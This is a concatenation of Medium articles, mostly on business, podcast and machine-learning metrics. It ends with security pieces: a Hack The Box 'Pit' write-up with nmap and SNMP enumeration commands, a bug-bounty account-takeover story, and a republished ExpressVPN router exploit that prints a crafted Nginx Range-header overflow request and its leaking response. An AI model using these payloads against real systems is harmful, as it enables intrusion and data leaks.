fabiochiu/medium-articles huggingface dataset:
Guitar Chords Soft Rock Star — Metric
By: Editor Db Chord
Tags: Metric, Artist M, Chords S, Guitar Chords, Guitar Lessons

This is for those of you who are about to start learn guitar, this time we published song chords post Soft Rock Star performed by Metric

We are a music arts organization, with the name “DB Chord” from the Indonesian Country, declared in the past 2017 we have 1 million more guitar chords collections displayed on the DB Chord site.

Chords Metric — Soft Rock Star

Chords and Lyrics Soft Rock Star — Metric

soft rock star metric

tabbed by B . cozz

Am F C

climb the wall to make the sun rise in time

but the night had already begun

climb the wall to make the sun rise in time

but the night had already begun

C Am

now here i Am , i Am the one

F Am

so hang high soft star

A#

don’t shine for swine

Am F C

not a lot of room to move , but where’s my guide?

i tried looking up to you girls

please correct me , but didn’t you let the work slide

capitalize on a novelty , cheap pink , spotlight .

is it all right?

Am G C F

choose the highest bidder was my answer

what they told me i was up for sale

schoolyard , junior high style

bullies have always tried to buy the better girls

A#

but failed now , the cheque is in the mail .

bubble gumball martini

is nothing like depanneur red wine

travel through time

who were you after you were mine?

choose the highest bidder was my answer

when they told me i was up for sale

schoolyard , junior high style

bullies have always tried to buy the better girls

haven’t they? choose the brightest future

pay the death and try to buy the better girls

but failed till now , the cheque is in the mail .

so hang high

soft rock star

hang high

soft rock star

don’t shine before swine

choose the highest bidder was my answer

when they told me i was up for sale

schoolyard , junior high style

bullies have always tried to buy the better girls , haven’t they?

choose the highest bidder was my answer

when they told me i was up for sale

schoolyard , junior high style

bullies have always tried to buy the better girls

but failed now , cheque is in the mail .

Guitar Chords Metric — Soft Rock Star

See our posts Kunci Gitar Soft Rock Star — Metric with transpose, auto scroll, small large font features and more.
7 Steps to Attract Users to Your Mobile App
By: Denys Kravchenko
Tags: User Acquisition, Marketing, Mobile Marketing, Mobile Apps, Metrics

3. Determining Your Cost Per Install (CPI)

An equally important step is the determination of an acceptable CPI (Cost Per Install). A soft launch can help here. A soft launch is when you test your app across a small audience, which gives you some important information about how your app performs in terms of monetization, retention, usage, and reviews. A soft launch can give you insights into what needs to be done within the app and campaigns before the hard launch.

You have to predict the LTV (Lifetime Value) of your potential client. Calculating this model will help you predict the attributed entire cost of the future relationship with a customer. There are several formulas for calculating LTV, which you can apply depending on the features of your product.

The most common formula is:

LTV = Revenue for the period / Number of customers for the period

This metric will show the total amount of money that the customer brings as long as he remains your customer. However, before launching the main campaign, you need to conduct a test that lets you determine the admissible CPI and figure out the advertising budget.

The basic formula for success is CPI < LTV (Lifetime Value).

Choosing CPI, the advertiser can attract traffic from the largest number of sources, as they are usually adapted to work with this particular format. So the average amount of profit that each user will bring during the entire use of the application should be less than the initial cost of the application.
The ultimate guide to binary classification metrics
By: Jakub Czakon
Tags: Machine Learning, Data Science, Classification, Metrics

Choosing a proper metric is a crucial yet difficult part of the machine learning project. In this blog post, you will learn about a number of common and lesser-known metrics and performance charts as well as typical decisions when it comes to choosing one for your project.

For every metric or chart I will talk about:

What is the definition and intuition behind it,

and behind it, The non-technical explanation for business stakeholders,

for business stakeholders, How to calculate /plot it,

/plot it, When should you use it.

I really wanted to make this post complete(ish) and covered a lot. Also, I wanted each metric section to contain everything you need (repeating some things here and there) so that you can just jump to the metric you are interested in and read that section alone. Without further ado here is a list of concepts covered:

Additionally, I will discuss a few common metrics-related decisions:

I know it is a lot to go over but if you want to make your guide “ultimate” you really have to go for it 😃.

Before we start

I think it usually easier to understand things, like classification metrics in the context of something palpable. That is why I prepared an example fraud-detection problem based on a recent kaggle competiton. I selected 43 features and sampled 66000 observations from the original dataset adjusting the fraction of positive class to 0.09.

I trained a bunch of lightGBM classifiers with different hyperparameters. I only used learning_rate and n_estimators parameters because I wanted to have an intuition as to which model is “truly” better. Specifically, I suspect that the model with only 10 trees is worse than a model with 100 trees. Of course, as you go with more and more trees and smaller learning rate it gets tricky but I tried to stay within reason here.

So for combinations of learning_rate and n_estimators, I did the following:

defined hyperparameter values:

MODEL_PARAMS = {'random_state': 1234,

'learning_rate': 0.1,

'n_estimators': 10}

trained the model on training data:

model = lightgbm.LGBMClassifier(**MODEL_PARAMS)

model.fit(X_train, y_train)

predicted on test data:

y_test_pred = model.predict_proba(X_test)

logged all the metrics for each run:

log_binary_classification_metrics(y_test, y_test_pred)

Go to this repo for full code and data or simply check the training script here or simply scroll down to Extras section at the very bottom of this post.

All of the metrics, as well as all performance charts, were logged for every single experiment so that you can explore them with me if you want to.

Ok, now we are ready to talk about those classification metrics!
The Right Report Is Key
By: Omer Engelstein
Tags: Key Performance Indicator, Reporting, Metrics, Progress, Direct To Consumer

Part two in the Creating a System for Success series.

Tracking the right metrics is key to knowing how your company is performing. There are three main elements that you should look for in a report: The main Key Performance Indicators (KPIs), progress, and learning.

KPIs

Knowing which metrics to track can be more challenging than it seems. It’s easy to get distracted by a sea of data and metrics. It’s always a good idea to start with no more than four main KPIs that will become your main indicators of success. As your company grows and continues to meet its goals, these KPIs and the way you track them might change, and more complexity is likely to be added. But in the beginning, simplicity is key.

Progress

One of the best ways of tracking your company’s overall performance is to evaluate its progress throughout departments. Progress is an essential part of any business, so it should be reflected in a report. In the beginning stages of a project, the numbers will likely not look so good, and that’s OK as long as you show an increasingly better outcome.

Comparing dates or cohorts will give you a detailed understanding of when you are doing better or when you are doing worse, which you can then compare to your objectives tied to your KPIs. Having this data readily available will allow you to plan ahead or change course if necessary. The idea is to always try to improve month over month, year over year. And that brings me to the last part, which is the learning component.

Learnings

Comparing month-to-month data should have you raising questions, whether the numbers are better or worse, you’ll want to know why. By answering these questions and learning from the previous month, you’ll be able to plan next month’s tests and efforts in order to improve. That’s why it’s also important to include the testing data in the report. By knowing what you tested that month and their conclusions, you’ll be able to start forming assumptions for future testing.

Remember, the important thing here is to measure how effective your strategies are at meeting objectives. As your company grows or changes, your reports should be changing to reflect new goals to ensure optimization.
From events to Grafana annotation
By: Vianney Foucault
Tags: Grafana, Monitoring, Metrics, Golang, DevOps

Manual annotation posting

Posting annotation is fairly easy, just call the right endpoint with the right payload. We’ll use here the graphite API as this annotation is really simple to both implement and understand.

We must be authenticated in order to use the grafana APIs. First create a token as explained here. Once done, here you go

Once posted, the annotation appears on the dashboard

Should I really curl grafana everytime ?

Of course no, there is plenty of way to achieve this. At ContentSquare Engineering we often build simple tool to achieve simple actions. https://github.com/ContentSquare/grafana-annotation is one example. We deploy this tool via ansible on our systems, and can refer to it when needed.

A simple use case is to track Systemd services events as follows:

step one, deploy the Grafana annotation tool

step two, create a notifier Systemd service

step three, update the target Systemd service to track

The Notifier Systemd Service:

The Target Systemd Service to monitor:

This service will trigger the notifier when started, stopped or failed. OnFailure=notify-grafana-failure@%i.service %i refers to the failing service name. See systemd specifiers for more information.

Grafana annotations on dashboard:

By adding the corrects tags to filter annotations, we will display on the whole dashboard all the corresponding annotations.
The Metric All Podcasters Should Be Talking About
By: Steve Pratt
Tags: Metrics, Podcast, Audio, Podcasting

Time and attention are the most scarce and valued resources for anyone making content.

If you’re looking for a metric to determine if your podcast is successful, that metric should be able to answer this question: do people voluntarily spend their time and attention on my show? And if so, how much?

Downloads (in isolation) are not the best way to answer that question.

And yet, most of the conversation about measuring success in podcasting is about the size of the audience. Lots of downloads = success. Not so many downloads = not so much success.

The Problem With Downloads

Downloads, though, are not always the most strategic measure of success.

For example, there are great shows built specifically for small, niche audiences, so they won’t have large download numbers. For those shows, however, a small number of the exact right people who love your show and spend lots of time listening is a huge success. Downloads are not the best way to measure this success.

Another example. You might have an AMAZING show, but you have an ineffective marketing plan and no one knows that your amazing show exists. In this case, do download counts measure the full picture of success for this show? No. They primarily highlight a marketing challenge.

So how else can we think about success in these scenarios?

Enter… Average Consumption

Since Apple Podcasts debuted the Average Consumption metric in their Analytics suite in December of 2017, podcasters have been able to measure how much time and attention listeners are giving to their podcasts. (Spotify and Stitcher have had this functionality for a while, too. Spotify calls it Episode Performance and Stitcher calls it Average Completion Rate.)

Average Consumption percentages are an amazing way to measure the quality of content. And yet it is rare to hear podcasters, or the podcast industry, touting Average Consumption as a marker of success.

I’d like to make a case for two reasons why podcasters should be talking about Average Consumption a lot more often and a lot more loudly. The first is for measuring editorial quality and audience engagement. The second is to champion the unique strengths of audio compared to other media.

THE Metric For Editorial Quality & Engagement

Whether you’re a podcast creator or an advertiser, Average Consumption is an amazing metric for determining whether an individual episode is valued by listeners.

I’m going to use examples from shows that we produce with our clients, simply because we have access to this data and have permission to share it. We also want to get the industry more comfortable sharing Average Consumption, so we’re going to show you ours first :-)

This is the Printers episode of Dell Technologies’ Trailblazers with Walter Isaacson podcast. It’s got an insanely great Average Consumption of 98% and an average listen per device of 26 minutes. This is about as close as it gets to editorial perfection!
Calculating The True Customer Lifetime Value (CLTV)
By: Kinjal Shah
Tags: Customer Lifetime Value, Metrics, Data Science, Acquisition, Marketing Strategies

Originally published on WebEngage.

A 5% increase in customer retention is capable enough to trigger a 25% increase in profits, says Bain & Company.

The stat itself says how impactful retention marketing can be for your business.

Over the years, companies have been able to acquire users but not retain them. This has necessitated a move towards retention marketing that would keep the existing users engaged and drive more transactions through these users.

All leading brands today are advocates of customer retention and rightly so! Customer churn has a drastic impact on your bottom-line figures. While focusing on customer acquisition can increase your revenue, it dramatically reduces your profitability per transaction.

Moreover, customer retention is directly connected to boosting your CLTV.

CLV, CLTV, or Customer Lifetime Value is the net profit attributed to the entire future relationship with your customer. CLV helps in segmenting customers that are worth retaining and ones that do not need to be retained on priority. Customer lifetime value has an intuitive appeal as a marketing concept. In theory, you can assign a monetary value to each customer and assess the spending limits behind acquiring such customers. CLV helps in setting a benchmark for COA (Cost of Acquisition) and COR (Cost of Retention).

How to calculate Customer Lifetime Value (CLTV)?

Where, T = Total Number of transactions per year,

AOV = Average Order Value

AGM = Average Gross Margin (%)

ALT = Average Customer Lifespan in years

Example:

Say you are a smartphone manufacturer and you’ve sold 2mn devices in 2019. Across your range of products, the average ticket size is $250. On every device you sell, your company has a gross margin of 15% after all the overhead expenses. Off the 2mn devices you sold, you attracted 1.8mn customers (including both new and retained customers). The average lifespan for your product is 1.5 years, or in other words, your customer is expected to make a repurchase in the same category (with your brand or any other competitive brand) in 1.5 years.

In this case your customer lifetime value is: (2mn*250*0.15*1.5)/1.8mn = $62.5

Now, if your COA is less than $62.5, the customer is deemed to be profitable and acquisition is acceptable.

Well CLTV is just one spoke of the entire retention wheel. Read more on the Retention marketing metrics here.
Social Media Metrics: The Downfall of Vanity Metrics — Social Strategy
Tags: Influencer Marketing, Metrics, Content Creators, Influencer Marketing Tips

Social Media Metrics: The Downfall of Vanity Metrics — Social Strategy MagicLinks Apr 6·3 min read

Cover images courtesy of MagicLinks influencers Talijah Monet and India Batson.

Influencer pop quiz: Do you know what any of these marketing acronyms mean? VTR. ROI. CTR. CR. ROAS. If you’re saying, “Huh??”, that’s okay! Most influencers don’t have a marketing or business degree. As a creator, though, you’re basically running your own business. This means you need to move beyond vanity metrics to hard data social media metrics. We’re here to help.

Tap https://magk.la/39VRJb7 to apply to join the MagicLinks Creator Network!

What Are Vanity Metrics?

In the early days of YouTube & Instagram, channel success was measured by metrics like:

Subscriber count

Video views

Likes

Comments

Shares

Impressions

These are called “vanity metrics” because they don’t accurately measure the impact an influencer has on a brand.

They’re all talk, no action. Now, we admit, vanity metrics ARE important, and you DO need to know yours. They’re not, however, the be-all, end-all of predicting how much money a creator makes or can charge for a sponsorship. Yes, brands do want channels with more subscribers & views. the MagicLinks homepage says, “Sales are the new likes”. A creator with 30,000 subscribers can out-sell a creator with 500,000 subscribers. We’ve seen it before!

MagicLinks creator Ashley Parke might have only 34,000 subscribers, but she regularly hits the top of our sales lists. So, we casted her in a Nasty Gal campaign: She outsold almost every other creator in the campaign, even though she had the smallest fan base.

Why does this happen? Because influencers like Ashley take the time to build relationships and trust with their fans. That trust means a fan is much more likely to buy products the 30k creator recommends. You do need around 10,000 subscribers to start earning enough to attract brands’ attention — here’s why.

Here are the channel-by-channel social metrics we recommend knowing like the back of your hand.

What Do I Do With My Social Media Metrics?

Once you know your channel-by-channel metrics, add them to your creator press kit. Being able to demonstrate true fan engagement and sales from a brand or its’ direct competitors will make you an appealing asset to brands for long-term partnerships.

The analytics section of each social media network will give you these metrics:

View-Through Rate

Engagement Rate

Social Shares

Check the performance reports in your MagicLinks creator dashboard for these metrics:

Sales By Brand

Click-Through Rate

Conversion Rate

Now, go get ’em, tiger!

Tap https://magk.la/39VRJb7 to apply to join the MagicLinks Creator Network!

Cover images courtesy of MagicLinks influencers Talijah Monet and India Batson.
5 Metrics for Binance Smart Chain Users
Tags: Blockchain, Smart Contracts, Binance Smart Chain, Metrics, Binance

🔗 Blockchains are unique in their openness and transparency, which allows each user to track transactions, the amount of commissions, monitor the balance and monitor the development of the blockchain.

1️⃣ BscScan

The same team that gave us EtherScan worked on the development of BscScan. This is an explorer and analytical platform for Binance Smart Chain.

This resource will be the main site of information for you after the launch of FORSAGE smartcontract 👌🏻

2️⃣ Gas price in BSC

Here you can track the average gas price before sending funds.

BSC commissions are very low. That is one of the reasons for the deployment of the new FORSAGE smart contract on this blockchain.

3️⃣ Unique Addresses & Transaction volume in BSC

The BSC network is expanding, new users, new addresses, increasing of the number of transfers. |

There have been created 144,264 unique addresses in the Binance Smart Chain for the last 24 hours and the total number of transactions per day has approached half a million (481,313) 📈

4️⃣ Profitable farming

Yield Farms shows the liquidity #mining opportunities, current farms, and links to their sites. Everything is collected in one place.

MathDApp help you to track various dApps in the BSC ecosystem.

5️⃣ Token Tracker

Here you can track BEP-20 tokens by capitalization and trading volume.

More news in our Instagram account.
Chrono Tasks
By: Multivision Consulting
Tags: Metric, Optimization, Automation, Chronotask, Tasks

Chrono-tasks: automatic verification of occurrences, events and circumstances, from previously defined criteria, that generate tasks for its user, after the data is processed in METRIC. There you go! A simple step that is going to hugely boost the productivity of your team! And that’s what METRIC is all about… You can’t change the world in one day. But you can change it day by day.

Chrono Task OSS KPI Alert:

With the Metric Chrono Task OSS KPI Alert, you receive every day an email with personalised alerts! Metric informs you if some issues were found on your network and a Chrono Task is created or updated accordingly.

When you are ready to start your day, just open Metric, and you have the alerts of your network that you are responsible for.

On the Tasks Module, you have a simple, readable table with the worst alerts (the KPIs that you are following and the fences that you are responsible for).

With just one click, you can fly to the Maps module and have a detailed analysis.

Already on Maps, Metric gives you the list of worst cells of the current KPI. With a quick mouse over, Metric highlights the cell and points you in the right direction.

With just a click you can fly to another KPI!

Chrono Task Worst Cells:

The Worst Cells is another Chrono Task that is recently implemented on Metric! On this task, you have a microanalysis of your network. Inside the task, it is possible to analyse a table with the worst cells. It is also filtered by responsibility fences and KPIs but gives you the information by cell beside the macro view of fences only.

Like the OSS KPI Alert Chronotask, it is possible to fly directly from a Worst Cells Chrono task to the map and continue your analysis.

On Maps, you have the list of worst cells by KPI and fence. Select one cell, and you can deepen your analysis making use of the Cell KPIs views. You can also check the neighbour’s relations.

Tying it back, just click on tasks again, and Metric returns you to the first environment where you started the analysis. Just in case you are lost!

The Chrono Flights improve the interaction with the platform and allows information to emerge in a lighter and more flown way.

Metric improves your work!
Why I prefer P99 to Apdex score for backend services
By: Iccha Sethi
Tags: Observability, Metrics, Apdex, Alerts

Let me start off this post by saying this is purely an opinion piece and a discussion starting point and would love to hear any feedback.

Apdex is a helpful measure in places where you are trying to convey general sentiment, especially for a browser based app, or express a combination of metrics. In fact, even the Apdex specification defines it as “..a numerical measure of user satisfaction with the performance of enterprise applications, intended to reflect the effectiveness of IT investments in contributing to business objectives”.

But I sometimes see folks using Apdex as a metric to measure and alert on for backend services instead of percentiles. As someone who has worked on the backend/server side of the stack for several years, I believe Apdex is a convoluted metric for a backend engineer on call to be paged on and this post dives into why.

The formula to calculate Apdex is:

Apdex = (Satisfied Reqs + Tolerated Reqs/2 + 0*Frustrated Reqs)/Total Reqs

And based on your Apdex score your application’s performance is assessed.

In this formula it becomes critical to correctly identify what is the tolerating value and the frustrating value for response time. And the value of Tolerated Response time could range between T to 4T or however you have defined it for your system. Let us for the sake of this discussion assume that our Frustrated value is when the response time exceeds the service SLO.

Now, let’s go back to the Apdex formula. If we were to list the different ways we could arrive at an Excellent Score of 0.94 we have the following combinations:

If you were to set your alert to be paged on an apdex score of 0.94 it could be either you have no requests violating SLO (first row) or 6 requests(last row) violating SLO!

Instead if you had sev 2s configured based on specific value of P95/P99 > SLO and a lower threshold notification which does not page for when P95/P99 > Tolerated Time, it makes the customer impact more clear when on call. I would also caveat this by saying if you have invested in self recovering and reliant systems, you may not even want the lower threshold notifications as they may be considered noise.

To summarize, I think Apdex and Percentiles have their own pros and cons. I would rather use Percentiles for pages and alerts since it is a specific metric and can be actionable. I would use apdex when I want to understand user sentiment but would not be the first measure I add in for my backend services.
Metric’ulous life! | #OnePageStory
By: Aravindhan Anbazhagan
Tags: Article, Story, Series, Metrics, Life

You won’t be surprised if I say, ‘metrics’ have slowly taken the hold of our lives.

Consider for an example, all the adults would’ve heard about these questions at different points in their lives.

(a) How many marks you have scored?

(b) How much salary you are going?

(c) How old are you?

(d) How many children do you have?

(e) How many years of work experience do you have?

Well, I’m not really what’s the original purpose of creating all the metrics that we see around today. Originally, they may have been created to help us understand the progress to our goals, track our performance, etc.

But, essentially they help us do one thing quite easily in our world today — To compare our metric with others quite easily!

Instead of working meticulously, we wish to work ‘metric’ulously, to see the results and to enrue that we are getting ahead of the others.

Metric can be a huge motivation at times — let’s assume a Cricket game without the scoreboard. Super boring right!

But you know what, in every Cricket game — they erase the scores once the game is over. However, the erasing part hardly happens in our lives! We stick to our metrics, we envision our metrics, we live our metrics, we showcase our metrics.

That’s one page. See you tomorrow!

One page is a metric too. A good start to the series, isn’t it? :P
Product Metrics — How to measure a product
By: Rashmi Shukla
Tags: Metrics, Product Management, Product, Product Design

I recently watched this video by YC where Suhail Doshi (Co-founder of Mixpanel) talks on how to discover important facts about products.

Since the lecture’s transcript and slides links are broken,

I have listed down my takeaways here for a quick 2 minutes read.

While defining metrics of any product, we should be able to answer 3 broad-level questions

about the product

1. Is the product easy to understand?

Users visiting an app or website can be acquired only when they are able to make sense of the product and find it relevant.

Key metrics can be helpful in tracking this:

- No. of Visitors & No. of Signups — This metric helps in iterating on landing pages design and in figuring out optimum design to make this step as easy as possible

- The ratio of Single page visits to multiple pages engagement — Are users just visiting single pages and leaving or are they exploring more than that

In a B2B product > No. of visits to pricing page — Shows intent and interest of users



2. Is the product easy to get started?

Users should be able to get the value proposition of the product easily.

Key metrics can be helpful in tracking this:

- No. of users doing a valuable activity — Basically defining what “active” is in Daily active users”. This can be as simple as doing a search

- Time is taken to do a valuable activity on the app/website — How easy/difficult it is for the users to finish a valuable task

Additionally:

- Measure funnel of the entire experience — from landing page to a valuable activity — Helps in identifying gaps and opportunities in the user journey

- Don’t try to optimize for bad/fake actors.

- Try to make this step easier by reducing steps in starting with the product e.g Google never asks for signing up / logging in before googling

3. Are people coming back to use the product?

No matter how many new users a product is able to acquire, it is the returning users that play a key role in defining long term success of a product.

Key metrics can be helpful in tracking this:

- % of new users coming back in 1 week / 30 days — Helps in understanding how valuable the product is for the users

- More focus on DAU than MAU — MAU can be just another vanity metrics and may not give a clear picture of the stickiness of the product
Is accuracy the only metric of evaluation??? Yes! and No!
By: Rahul Madan
Tags: Machine Learning, Deep Learning, Performance, Metrics, Data Science

The answer is still a “Yes”. Because it depends on the threshold value of the data. Though the data is imbalanced in the above condition, the count of contribution to each breed is beyond the threshold value (i.e. 30). Therefore, the accuracy can be used for evaluating the model performance of such data.

So, when will the answer be a “No”???

The accuracy cannot be the only metric to evaluate the performance of the model when the data is completely imbalanced.

One such example of the above condition is fraudulent data. The number of fraudulent transactions is quite low compared to the normal transaction.

In such a case, the model is predicted to give good accuracy, but the model is also biased and much oriented towards the normal transaction. As a reason, accuracy is not a good metric to evaluate the performance of the model.

What other metrics other than accuracy can be used for evaluation during such data imbalance???

It is the Precision and Recall.

Precision:

The ratio of true positives to actual results given by the model.

Recall:

The ratio of true positives to the predicted results given by the model.

It is observed that there is always an additional metric along with accuracy to evaluate the performance of the model. It is necessary to have a near trade-off between accuracy and precision or accuracy and recall.

Using the trade-off strategy of the metrics we can make a good realistic conclusion of the results which is predicted by the model and also its performance.

Happy Learning!
Actionable metrics vs Vanity Metrics ?
By: Rohit Verma
Tags: Metrics, Product Analytics, Product Management, Product Manager

Some Examples of Vanity metric

Overall Visits — If visits increase , it doesn’t conclusively prove that product performance has increased.

Overall Users —There is growth in overall users but the transacting users are declining, in that case it turns out to be a Vanity metric.

Total time spent on app — If it increases , it can be due to login issues or other technical glitch so PM need to further deep dive.

Infact any metric can be classified to vanity metric. Honestly ,they are hollow metrics that look nice on the surface but hold little substance.

For instance , 1,00,000 total registered users on your product might seem impressive & commendable, but that count loses its value if we realise that only 1000 are monthly active users (MAU). Infact , further deep dive into those 1000 MAU will reveal actionable insights.

In conclusion these are classified as Vanity metrics because they can follow a upward trend however things aren’t going quite well in reality for the product. As a result , relying on these metrics won’t necessarily help the team to identify the root cause or take corrective actions.

Some Examples of Actionable metric

Conversion Rate

Repeat ratio

Average Revenue Per User

Active Subscriptions

Actionable metrics are grouped by week ( Weekly subscription renewal rate ) or month & usually presented as per user metric ( Cashback per user ). By analysing the performance of such metrics , PMs are better placed and are more confident about their hypothesis & action plans.

Thanks for reading! If you’ve got ideas to contribute to this conversation please comment. If you like what you read and want to see more, clap me some love! Follow here, or connect with me on LinkedIn
Fail Forward Fast — LimaCharlie. About five months ago the team at…
By: Christopher Luft
Tags: Informationsecurity, Fail Fast, Automation, Infosec, Cybersecurity

About five months ago the team at LimaCharlie launched a framework for automation that was built around the idea of Replicants. A Replicant was to be a digital automaton: a platform for building algorithms that could be configured by the user to automate away some of the drudgery.

The platform worked exceedingly well in that it allowed us to build out a wide variety of capabilities quickly. The Replicants were able to perform complex tasks on-demand for a single endpoint or continuously across the entire fleet.

The problem with the Replicants, as we came to understand it, was with the mental model. The concept worked great for us as developers building out the capabilities but it did not fit when thinking about it from the perspective of a user. The interface was awkward and having the Replicants grouped together did not make a lot of sense.

After spending some time thinking about it we came to the conclusion that users did not care about the Replicants but rather what they could do for them. Replicants use their individual abilities to do jobs and provide said abilities as a service. And so we refactored the technology to provide users with a set of services that can perform jobs at the user’s request.

We still use the Replicant platform on the backend to build out our services but now deliver the services that they offer using a familiar pattern.

Services are provided through the main navigation menu and with them you can automate YARA scanning, run detection and response rules against historical data, perform file integrity monitoring, automate incident response tasks and adjust your telemetry verbosity with more to come.

The process of arriving at this new delivery model has been an interesting one and exemplifies the benefits of being an early stage company adhering to an agile development philosophy. Instinct often drives us towards the core of a problem and through an iterative process the solution can be honed.
Cyber Warfare: Fighting the (Un)Ethical War Ethically
By: Jerry Williams
Tags: Cyberwar, Information Security, Cyberattack, Cybersecurity, Ciso

Border disputes between countries are common these days. But these very countries engage in another kind of warfare, where there are no “boots on the ground” planes in the air or warships in the sea. Instead, it’s a war that involves different kinds of soldiers and spies — all highly adept in computer and cybersecurity skills. This “cyber army” has a mission to “attack” the information assets of the “enemy” — to take down servers belonging to governments and private organizations and destabilize the economy. They look for state secrets stored in digitized form. And they are trained to launch cyberattacks with a different type of weaponry — hacking tools and technologies. The threat actors and the attack surfaces have evolved, expanded, and now replace traditional combat warfare with a new tack — the age of Cyber Warfare.

The ethics of cyberweapons used in warfare has always been a debatable question. People have often downplayed them as benign weapons that do not really have the potential to cause major collateral damage. However, since the turn of the century, a wide range of state actors including the United States, Russia, China, North Korea, Iran, and Vietnam have outgrown their offensive and defensive cybersecurity operations and capabilities. Actors often leverage these cyber threats to indirectly support more traditional means of warfare like espionage, sabotage, propaganda, etc.

A new whitepaper produced by CISO MAG titled “Cyber Warfare: Decoding Threats for Nations and Businesses”, sheds more light on this latest form of warfare and the techniques used. The paper includes the latest case studies relative to the subject and answers FAQs about Cyber Warfare.

This highly engrossing and informative whitepaper is a collaborative work of industry experts from CYFIRMA and cybersecurity editors at CISO MAG. Their combined effort in bringing out a fact-based and data-backed whitepaper unravels some amazing facts; although there is a country vs country angle to Cyber Warfare, yet enterprises and businesses in these countries are caught in the crosshairs of their respective governments and decision-makers.

CISO MAG editors closely analyze and dissect the latest incidents in the Cyber Warfare space and how threat actors leverage other countries geographical, political, and health emergencies like an epidemic or pandemic to their advantage. Lastly, we introspect the future of Cyber Warfare and how having a cyber threat intelligence helps in not only identifying the threats and respective threat actors but also in gaining an outside-in perspective to your organization’s cyber posture.
Pit Write-up (Hack The Box)
By: Kumar Saurav
Tags: Hacking, Hackthebox Writeup, Information Security, Cybersecurity, Hackthebox

Information Gathering

Let’s Run Nmap:

nmap -T4 -p- -A 10.10.10.241 -oN nmap_out

Initial Nmap scan reveals the machine is running SSH and HTTP/s services at port 22, 80 and 9090.

Also the TLS certificate discloses dms-pit.htb.

Let’s first add hostname to our /etc/hosts file

Now let’s visit both port 80 and port 9090.

At port 80 or pit.htb we find a default wepage for nginx server

At port 9090 we find a CentOS management server.

I ran whatweb on pit.htb:9090 to see what web technologies are running and saw something about cockpit so after some google-fu I found that Cockpit is a Web Based server management tool available for CentOS and RHEL systems, It is a Web Base GUI tool through which sysadmins can monitor and manage their Linux servers. So I tried some cockpit exploits that didn’t work and concluded that its a rabbit hole so I’m not gonna talk about it in depth.

Hmm but we still need the credentials let’s enumerate more.

Let’s visit dms-pit.htb which was disclosed in our Namp report

It returns 403 response code which indicates that the server understood the request but refuses to authorize it

I tried gobuster to bruteforce directories but didn’t had much luck there too. At this point I was pretty much lost so I decided to look for some hints on Hack The Box forums and tweets.

This tweet gives us a small hint about the box “WALK” as in SNMP.

So I did a quick nping to find whether SNMP ports (161 & 162) are open or not.

nping --udp -c 2 161 pit.htb

I found port 161 and 162 open so I did a Nmap UDP scan to get more information

sudo nmap -sU -p161,162 -sV pit.htb

Here, we got the version information of SNMP and it also disclosed that it is using ‘Public’ community string for authentication. Public community string is used as password to send request to SNMP server to reveal information and it’s the default community string. Public string has only read access, it cannot write to SNMP.

You can read more about it from here.

Lets enumerate SNMP server. After some google-fu I found a perl script to extract SNMP data from the target machine and parse those file for potentially usable data.

perl snmpbw.pl pit.htb public 2 1

You can get the script here.

Here we get Linux Kernel version, OS information, username, web directory and binary location.

Also on further enumeration I found something related to seeddms.

After some googling about seeddms, I found SeedDMS is an open source document management system.

Lets try to append the directory name in web address bar and try to get access.

So we finally got the login page. Initially I tried to login via some commonly used credentials but failed. So I decided to go back to the SNMP file and look for some sort of login credentials.
Unauthenticated Account Takeover Through Forget Password
By: Nikhil, Niks
Tags: Authentication, Security, Pentesting, Information Security, Bug Bounty

I was hunting a full month on a federal private program and comes up with plenty of account takeovers. I am going to share one of the findings.

The Scope of the target was a wildcard and unauthenticated testing only. So the first thing I did -> Recon.

I fired up sub-finder combined with httpx (https://github.com/projectdiscovery) and I came up with a huge number of sub-domains, one of the domains caught my eyes with 403 forbidden error.

So instead of running ffuf, the first thing I run, a simple google search such as:

site:subdomainhere

It comes up with plenty of results

While this has been hosted with plenty of login pages, I decided to hunt on the very first result, it was an online invoice system. The application asks for some kinda D** Ids and Password for login.

I search about D** Ids in help articles, and I got to know, it's a 9 digit number assigned to all vendors at the time of licensing.

I did google searches but didn’t come up with this particular ID. I ended up looking at google images results in hope that licensing could have done over a paper and can have this id included.

Cool, I was correct, licensing was done over a paper and I got a couple of valid D** ID in the subject Part of letters, such as

Since I have this ID now, the first thing I did was brute-forcing for a password but ended up with nothing.

I started testing forget password flow, it asks for D** ID first for resetting the password. I found that the application is using two requests for resetting the password, one for querying the password for D** ID and another one sending a newly generated password to their email ID inside the request itself

So, this discloses not only their password but emails too. Using the newly generated password, I was able to login into their account.

stay curious.
ExpressVPN VPN Router 1.0 — Router Login Panel’s Integer Overflow Exploit
By: Skynet Tools
Tags: Hacking, Security, VPN, Information Security, Bug Bounty

More at https://skynettools.com

# Exploit Title: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow

# Date: 09-04-2021

# Exploit Author: Jai Kumar Sharma

# Vendor Homepage: https://www.expressvpn.com/

# Software Link: https://www.expressvpn.com/vpn-software/vpn-router

# Version: version 1

# Tested on: Windows/Ubuntu/MacOS

# CVE : CVE-2020-29238



*Proof of concept*:



ExpressVPN Router's Login Panel runs on Nginx webserver, the version v1 of the router's firmware hosts web login panel on vulnerable web server



ExpressVPN Summary: A publicly known bug in the Nginx server used by the ExpressVPN Router version 1.x firmware was reported. ExpressVPN no longer ships or supports that version and all users are encouraged to upgrade to the latest version of the ExpressVPN Router firmware available on our site, which is not vulnerable to this bug. Additionally, we highly discourage our users from exposing their router control panel to the Internet, as this class of bug would only be exploitable with access to the control panel, which is usually restricted to the local network. For help or support upgrading your router please visit: https://www.expressvpn.com/support/



ExpressVPN Router version 1 is vulnerable to integer overflow vulnerability in Nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.



Crafted Request:

GET / HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)

Gecko/20100101 Firefox/81.0

Host: 127.0.0.1:8181

Accept-Encoding: identity

Range: bytes=-17208,-9223372036854758999

Connection: close





Response:

HTTP/1.1 206 Partial Content

Server: nginx/1.9.15

Date: Tue, 10 Nov 2020 19:22:05 GMT

Content-Type: multipart/byteranges; boundary=00000000002

Content-Length: 598

Last-Modified: Thu, 13 Sep 2018 04:55:28 GMT

Connection: close

ETag: "5b99edc0-99f"





--00000000002

Content-Type: text/html

Content-Range: bytes -14745-2462/2463
We all have problems
Tags: Citrix, Cisoscope, Exploit, Information Security, Risk Assessment

by Dr. Sven Niedner

No one is invincible. Risk assessment and damage control is crucial.

